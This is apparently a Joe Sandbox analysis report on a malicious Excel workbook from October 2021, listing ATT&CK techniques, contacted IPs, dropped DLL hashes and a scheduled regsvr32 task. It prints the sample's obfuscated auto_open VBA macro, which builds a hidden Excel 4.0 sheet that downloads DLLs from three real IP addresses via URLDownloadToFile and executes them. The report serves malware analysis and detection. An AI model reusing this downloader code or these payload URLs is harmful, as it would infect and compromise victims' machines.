Domain Accounts	Scripting2	Logon Script (Windows)	Scheduled Task/Job1	Modify Registry1	Security Account Manager	Virtualization/Sandbox Evasion1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Service Execution2	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion1	NTDS	Process Discovery3	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol21	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Native API1	Network Logon Script	Network Logon Script	Process Injection413	LSA Secrets	File and Directory Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Exploitation for Client Execution32	Rc.common	Rc.common	Scripting2	Cached Domain Credentials	System Information Discovery15	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing2	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.%s.comPA	0%	URL Reputation	safe
http://190.14.37.165/44473.7079048611.dat	0%	Avira URL Cloud	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
http://188.119.113.3/44473.7079048611.dat	0%	Avira URL Cloud	safe
http://5.196.247.11/44473.7079048611.dat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://190.14.37.165/44473.7079048611.dat	false	Avira URL Cloud: safe	unknown
http://188.119.113.3/44473.7079048611.dat	false	Avira URL Cloud: safe	unknown
http://5.196.247.11/44473.7079048611.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.%s.comPA	regsvr32.exe, 00000004.00000002.507656056.0000000002080000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.583563263.00000000022B0000.00000002.00020000.sdmp, explorer.exe, 00000008.00000002.897428750.0000000002340000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	regsvr32.exe, 00000004.00000002.507656056.0000000002080000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.583563263.00000000022B0000.00000002.00020000.sdmp, explorer.exe, 00000008.00000002.897428750.0000000002340000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	regsvr32.exe, 00000003.00000002.509060478.0000000001D00000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.507290177.0000000001D80000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.595626677.0000000001C70000.00000002.00020000.sdmp, regsvr32.exe, 00000006.00000002.582938874.0000000001D80000.00000002.00020000.sdmp, regsvr32.exe, 0000000B.00000002.604222583.00000000009D0000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
5.196.247.11	unknown	France	16276	OVHFR	false
190.14.37.165	unknown	Panama	52469	OffshoreRacksSAPA	false
188.119.113.3	unknown	Russian Federation	50673	SERVERIUS-ASNL	false

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	496489
Start date:	04.10.2021
Start time:	16:59:22
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	173536952-10042021.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@33/12@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 20% (good quality ratio 18.9%) Quality average: 77% Quality standard deviation: 27.1%
HCA Information:	Successful, ratio: 52% Number of executed functions: 137 Number of non-executed functions: 135
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Changed system and user locale, location and keyboard layout to English - United States Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:00:04	API Interceptor	60x Sleep call for process: regsvr32.exe modified
17:00:05	API Interceptor	886x Sleep call for process: explorer.exe modified
17:00:07	API Interceptor	2x Sleep call for process: schtasks.exe modified
17:00:08	Task Scheduler	Run new task: vgcwztk path: regsvr32.exe s>-s "C:\Users\user\Celod.wac"

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	Kp108MbiCO.exe	Get hash	malicious	Browse	51.79.99.124
	rrfee1234.exe	Get hash	malicious	Browse	213.186.33.5
	test2.dll	Get hash	malicious	Browse	51.222.139.54
	qUhxkG5ADy.exe	Get hash	malicious	Browse	51.79.99.124
	justificante de la transfer.exe	Get hash	malicious	Browse	54.36.109.179
	especificaci#U00f3n 0021.doc	Get hash	malicious	Browse	91.121.250.249
	RF Quotation_04102021.doc	Get hash	malicious	Browse	91.121.250.249
	6b99pEdTmO.exe	Get hash	malicious	Browse	5.135.171.85
	rx82ovmT1P.exe	Get hash	malicious	Browse	164.132.171.176
	yir8ieZzXL	Get hash	malicious	Browse	51.195.126.64
	SteelTrading PO-5579.xlsx.xlsx	Get hash	malicious	Browse	51.79.99.124
	VI8nUc1ZjC.exe	Get hash	malicious	Browse	5.39.42.4
	NuKV3QA0Ju.exe	Get hash	malicious	Browse	91.121.250.249
	kbfUrCTi7x.exe	Get hash	malicious	Browse	91.121.250.249
	IMG_PO-000120741.doc	Get hash	malicious	Browse	91.121.250.249
	Inq PO-000202120741.doc	Get hash	malicious	Browse	91.121.250.249
	C8587548778347643AT.exe	Get hash	malicious	Browse	147.135.165.26
	Invoice Packing list.exe	Get hash	malicious	Browse	213.186.33.5
	PO. 2100002.xlsx	Get hash	malicious	Browse	51.79.99.124
	BCJx1E4AJb.exe	Get hash	malicious	Browse	158.69.65.151

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[1].dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	518144
Entropy (8bit):	6.4851507709133775
Encrypted:	false
SSDEEP:	12288:iW7OY3YTn155L/9hFTMq2EKMAcuCSF7aqxETMNIp0Fh6jUV:iWf3YTnJLBv2EKMAcOgqxETMNIpM6o
MD5:	969AD02EB37489D6194F0DD3670AEA6A
SHA1:	47A694A0336B89D8341525552CD5D83158E2E962
SHA-256:	2A5CFCB1D058F8F5C05E2C568DC723EA441E79C1614DDCC6E10FDA5AA3986E24
SHA-512:	A530C2481E9CB9561071686507D08BFCABA8A18603B432E77EF48A563FF676775BBC62ED3A07014740BB69316718AE066E182BEAC8762022C97DF2A9BC7D9820
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^..t...'...'...'.M-'...'..M'...'H..&...'.q.'...'H..&...'H..&...'H..&...'.M6'...'...'...'H..&...'H..&Z..'H.&'...'H..&...'Rich...'........PE..L.....]...........!................d...............................................3....@.........................0...........<............................... .......T...........................X...@...............\............................text............................... ..`.rdata..............................@..@.data...(...........................@....reloc.. ........ ..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[2].dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	518144
Entropy (8bit):	6.4851507709133775
Encrypted:	false
SSDEEP:	12288:iW7OY3YTn155L/9hFTMq2EKMAcuCSF7aqxETMNIp0Fh6jUV:iWf3YTnJLBv2EKMAcOgqxETMNIpM6o
MD5:	969AD02EB37489D6194F0DD3670AEA6A
SHA1:	47A694A0336B89D8341525552CD5D83158E2E962
SHA-256:	2A5CFCB1D058F8F5C05E2C568DC723EA441E79C1614DDCC6E10FDA5AA3986E24
SHA-512:	A530C2481E9CB9561071686507D08BFCABA8A18603B432E77EF48A563FF676775BBC62ED3A07014740BB69316718AE066E182BEAC8762022C97DF2A9BC7D9820
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^..t...'...'...'.M-'...'..M'...'H..&...'.q.'...'H..&...'H..&...'H..&...'.M6'...'...'...'H..&...'H..&Z..'H.&'...'H..&...'Rich...'........PE..L.....]...........!................d...............................................3....@.........................0...........<............................... .......T...........................X...@...............\............................text............................... ..`.rdata..............................@..@.data...(...........................@....reloc.. ........ ..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44473.7079048611[3].dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	518144
Entropy (8bit):	6.4851507709133775
Encrypted:	false
SSDEEP:	12288:iW7OY3YTn155L/9hFTMq2EKMAcuCSF7aqxETMNIp0Fh6jUV:iWf3YTnJLBv2EKMAcOgqxETMNIpM6o
MD5:	969AD02EB37489D6194F0DD3670AEA6A
SHA1:	47A694A0336B89D8341525552CD5D83158E2E962
SHA-256:	2A5CFCB1D058F8F5C05E2C568DC723EA441E79C1614DDCC6E10FDA5AA3986E24
SHA-512:	A530C2481E9CB9561071686507D08BFCABA8A18603B432E77EF48A563FF676775BBC62ED3A07014740BB69316718AE066E182BEAC8762022C97DF2A9BC7D9820
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^..t...'...'...'.M-'...'..M'...'H..&...'.q.'...'H..&...'H..&...'H..&...'.M6'...'...'...'H..&...'H..&Z..'H.&'...'H..&...'Rich...'........PE..L.....]...........!................d...............................................3....@.........................0...........<............................... .......T...........................X...@...............\............................text............................... ..`.rdata..............................@..@.data...(...........................@....reloc.. ........ ..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	162688
Entropy (8bit):	4.254480952759474
Encrypted:	false
SSDEEP:	1536:C6pL3FNSc8SetKB96vQVCBumVMOej6mXmYarrJQcd1FaLcm48s:CgJNSc83tKBAvQVCgOtmXmLpLm4l
MD5:	AEB7B8FDA8432278D037A1111236D5E9
SHA1:	0C5483AE5B78AEEEC71BD2BF0DBA849ACCFB6023
SHA-256:	C49A65EFCB82E9438FAF865760D94A01A44BE5A9873DC3DF5F5BBB16FFEC38DA
SHA-512:	2915CBDAB1A31F9CC04187ADF5895626EF9A93E33B05B3E7CD6DDAB6685B166E2340A1014CDA3657106158CA6855BC316501829A10ADF3137C99C40F8FA78B00
Malicious:	false
Reputation:	unknown
Preview:	MSFT................Q................................#......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........\|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0......*..\+...+..$,...,...,..P-...-......\|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8..............................$................................................................................x..xG..............T........................................... ...........................................................&!..............................................................................................

C:\Users\user\AppData\Local\Temp\VBE\RefEdit.exd Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	15676
Entropy (8bit):	4.533240041143722
Encrypted:	false
SSDEEP:	192:Sx211DxzCOtHIT6P20eChgZjTdZ3HJV8L1I17EMBkDXrq9LwGGLVbkLde:SQxesT20lheZ3waE5D7qxIxkxe
MD5:	6548B33585EE13C474BEB7230B1B1BF5
SHA1:	A9D0C051C38AED934DB1CD6A968AEFBDFB5B3593
SHA-256:	914FD2EC86AEA310F773A10DB5D7F61FC525C859D0F782ECF47368FC679E8955
SHA-512:	F37F778D932BC23EDD881D0F3D5D90D1F7C9EBDB86479470F84A4D23EC273DD1FD10759539DD742DEBD1DBF1846ADB80D2E686C82BB8FB992460C8F971CCCB33
Malicious:	false
Reputation:	unknown
Preview:	MSFT................A...............................1............... ...................d...........,...................\...........H...4...........0... ...............................................................x...............................x.......................................................................................$"...............................................P..................................................$"..........................................0....P..,.........................0.....................%"..........................................H..."...................................................H.......(...................@...................P...............0.......`...............................p...X... ....................tD....E.J..........E.............F...........B........`..d......."E.............F........0..............F..........E........`.M...........CPf.........0..=.......01..)....w....<WI.......\.1Y........k...U........".......\|...K..a...

C:\Users\user\Celod.wac Download File
Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	5.101419757402087
Encrypted:	false
SSDEEP:	96:5SEqMlIv2+nkLk2SHGSj3CKie2Hf1THOXgsc:RpIv9nkrSHGSjy3/1Tuc
MD5:	77A033DDE4BF575BF9CBE93C17CCF887
SHA1:	60F4F8B921BA45D90B456126D80DC2DBF5EC6232
SHA-256:	45A2CE542EEA5899C8D91405A641EE5319DF1A0C0387CD3036439371177A81AF
SHA-512:	5DDB39436E54426D5504514FEC64B39F3FE1FA855C16DA1906BE845C6EE5716C3D7605DFE7054AE82EFDEAFD2563DF0E0C66AA6CEB3E59FF27C1DC9D0026379A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^..t...'...'...'.M-'...'..M'...'H..&...'.q.'...'H..&...'H..&...'H..&...'.M6'...'...'...'H..&...'H..&Z..'H.&'...'H..&...'Rich...'........PE..L.....]...........!................d...............................................3....@.........................0...........<............................... .......T...........................X...@...............\............................text............................... ..`.rdata..............................@..@.data...(...........................@....reloc.. ........ ..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Celod.wac1 Download File
Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	5.101419757402087
Encrypted:	false
SSDEEP:	96:5SEqMlIv2+nkLk2SHGSj3CKie2Hf1THOXgsc:RpIv9nkrSHGSjy3/1Tuc
MD5:	77A033DDE4BF575BF9CBE93C17CCF887
SHA1:	60F4F8B921BA45D90B456126D80DC2DBF5EC6232
SHA-256:	45A2CE542EEA5899C8D91405A641EE5319DF1A0C0387CD3036439371177A81AF
SHA-512:	5DDB39436E54426D5504514FEC64B39F3FE1FA855C16DA1906BE845C6EE5716C3D7605DFE7054AE82EFDEAFD2563DF0E0C66AA6CEB3E59FF27C1DC9D0026379A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^..t...'...'...'.M-'...'..M'...'H..&...'.q.'...'H..&...'H..&...'H..&...'.M6'...'...'...'H..&...'H..&Z..'H.&'...'H..&...'Rich...'........PE..L.....]...........!................d...............................................3....@.........................0...........<............................... .......T...........................X...@...............\............................text............................... ..`.rdata..............................@..@.data...(...........................@....reloc.. ........ ..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Celod.wac2 Download File
Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	5.101419757402087
Encrypted:	false
SSDEEP:	96:5SEqMlIv2+nkLk2SHGSj3CKie2Hf1THOXgsc:RpIv9nkrSHGSjy3/1Tuc
MD5:	77A033DDE4BF575BF9CBE93C17CCF887
SHA1:	60F4F8B921BA45D90B456126D80DC2DBF5EC6232
SHA-256:	45A2CE542EEA5899C8D91405A641EE5319DF1A0C0387CD3036439371177A81AF
SHA-512:	5DDB39436E54426D5504514FEC64B39F3FE1FA855C16DA1906BE845C6EE5716C3D7605DFE7054AE82EFDEAFD2563DF0E0C66AA6CEB3E59FF27C1DC9D0026379A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^..t...'...'...'.M-'...'..M'...'H..&...'.q.'...'H..&...'H..&...'H..&...'.M6'...'...'...'H..&...'H..&Z..'H.&'...'H..&...'Rich...'........PE..L.....]...........!................d...............................................3....@.........................0...........<............................... .......T...........................X...@...............\............................text............................... ..`.rdata..............................@..@.data...(...........................@....reloc.. ........ ..................@..B........................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Test, Last Saved By: Test, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:17:20 2015, Last Saved Time/Date: Mon Oct 4 09:34:12 2021, Security: 0
Entropy (8bit):	7.077363900614755
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	173536952-10042021.xls
File size:	132608
MD5:	0bca9d9a4e10b794ac05375ebc19de86
SHA1:	43983f7c8b45057ec1d732586648f9ac515048f4
SHA256:	4cd16d4f199b5f619a377b3c260f8423a9e814cc680edad1505e4038fc38ddcc
SHA512:	9e1a3f4d842ea9c849dc7c345e29a6d760a6b4b48ab9d6efe7f8d2d694b7bf23431d57d97dbde18abe331d4565329f9cea6a1f6e4889c33ffa488a48da675d41
SSDEEP:	3072:Sk3hOdsylKlgxopeiBNhZFGzE+cL2kdAxc6YehWfGdtUHKGDbpmsii/+u6ssC06+:Sk3hOdsylKlgxopeiBNhZF+E+W2kdAxX
File Content Preview:	........................>.......................................................b..............................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "173536952-10042021.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:	Test
Last Saved By:	Test
Create Time:	2015-06-05 18:17:20
Last Saved Time:	2021-10-04 08:34:12
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: UserForm2, Stream Size: -1

General
Stream Path:	_VBA_PROJECT_CUR/UserForm2
VBA File Name:	UserForm2
Stream Size:	-1
Data ASCII:
Data Raw:

VBA Code

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{86A322E3-3EAA-43BD-A15C-2E5BDAB20ADE}{6DC45358-AAC1-427A-8A44-4B339D5A54C8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

VBA File Name: Module1, Stream Size: 1533

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Module1
VBA File Name:	Module1
Stream Size:	1533
Data ASCII:	. . . . . . . . . B . . . . . . . . . . . . . . . p . . . . . . . . . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 03 f0 00 00 00 42 03 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 70 03 00 00 08 05 00 00 00 00 00 00 01 00 00 00 fb 18 3d fb 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 08 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Module1"

Function jgfjgjfhfhf()
Set Fera = Excel4IntlMacroSheets
Fera.Add.Name = "Sheettt"
End Function
Sub auto_close()


Application.ScreenUpdating = True
   Application.DisplayAlerts = False
   Sheets("Sheettt").Delete
   Application.DisplayAlerts = True

End Sub

VBA File Name: Module5, Stream Size: 3595

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Module5
VBA File Name:	Module5
Stream Size:	3595
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . ] . . . . . . . . . . . . . . % . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 01 f0 00 00 00 82 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 89 02 00 00 5d 0b 00 00 00 00 00 00 01 00 00 00 fb 18 e3 25 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Module5"

Sub auto_open()
On Error Resume Next
Trewasd = "R" & "E" & "G" & "I" & "STER"
Drezden = "="
Naret = "E" & "X" & "E" & "C"
DUJSKFASD = UserForm2.Label5.Caption
Application.ScreenUpdating = False
jgfjgjfhfhf
Sheets("Sheettt").Visible = False
Sheets("Sheettt").Range("A1:M100").Font.Color = vbWhite

Sheets("Sheettt").Range("H24") = UserForm2.Label1.Caption
Sheets("Sheettt").Range("H25") = UserForm2.Label3.Caption
Sheets("Sheettt").Range("H26") = UserForm2.Label4.Caption

Sheets("Sheettt").Range("K17") = "=N" & "O" & "W()"
Sheets("Sheettt").Range("K18") = ".d" & "a" & "t"



Sheets("Sheettt").Range("H35") = "=" & "H" & "ALT()"
Sheets("Sheettt").Range("I9") = "u" & "R" & "l" & "M" & "o" & "n"
Sheets("Sheettt").Range("I10") = UserForm2.Caption
Sheets("Sheettt").Range("I11") = "J" & "J" & "C" & "C" & "B" & "B"
Sheets("Sheettt").Range("I12") = "Byukilos"
Sheets("Sheettt").Range("G10") = "..\Celod.wac"
Sheets("Sheettt").Range("G11") = "..\Celod.wac1"
Sheets("Sheettt").Range("G12") = "..\Celod.wac2"
Sheets("Sheettt").Range("I17") = DUJSKFASD
Sheets("Sheettt").Range("I18") = DUJSKFASD & "1"
Sheets("Sheettt").Range("I19") = DUJSKFASD & "2"
Sheets("Sheettt").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)"
Sheets("Sheettt").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)"
Sheets("Sheettt").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)"
Sheets("Sheettt").Range("H9") = Drezden & Trewasd & "(I9,I10&J10,I11,I12,,1,9)"
Sheets("Sheettt").Range("H17") = Drezden & Naret & "(I17)"
Sheets("Sheettt").Range("H18") = Drezden & Naret & "(I18)"
Sheets("Sheettt").Range("H19") = Drezden & Naret & "(I19)"


Application.Run Sheets("Sheettt").Range("H1")

End Sub

VBA File Name: Sheet1, Stream Size: 991

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1
Stream Size:	991
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . - . . . . . . . . . . . . . . 9 . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00 00 00 00 00 00 01 00 00 00 fb 18 b4 39 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook, Stream Size: 3459

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook
Stream Size:	3459
Data ASCII:	. . . . . . . . . 2 . . . . . . . . . . . . . . . 9 . . . . . . . . . . . . . . . . . r S . . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 32 04 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff 39 04 00 00 b1 0a 00 00 00 00 00 00 01 00 00 00 fb 18 72 53 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Public Sub applyLogosToDashboard()
    On Error Resume Next
Application.ScreenUpdating = False

If Not Application.OperatingSystem Like "*Mac*" Then

    Sheets("Dashboard").Activate
    Sheets("Dashboard").Unprotect Password:=Sheets("Logos").Range("IV1")
    ActiveSheet.Shapes("Apple_Logo").Visible = False
    ActiveSheet.Shapes("Win_Logo").Visible = True
    ActiveSheet.Shapes("Button_Insert_Logo").Visible = True
    ActiveSheet.Shapes("Button_Print_PDF").Visible = True
    ActiveSheet.Shapes("Button_Save_As").Visible = True
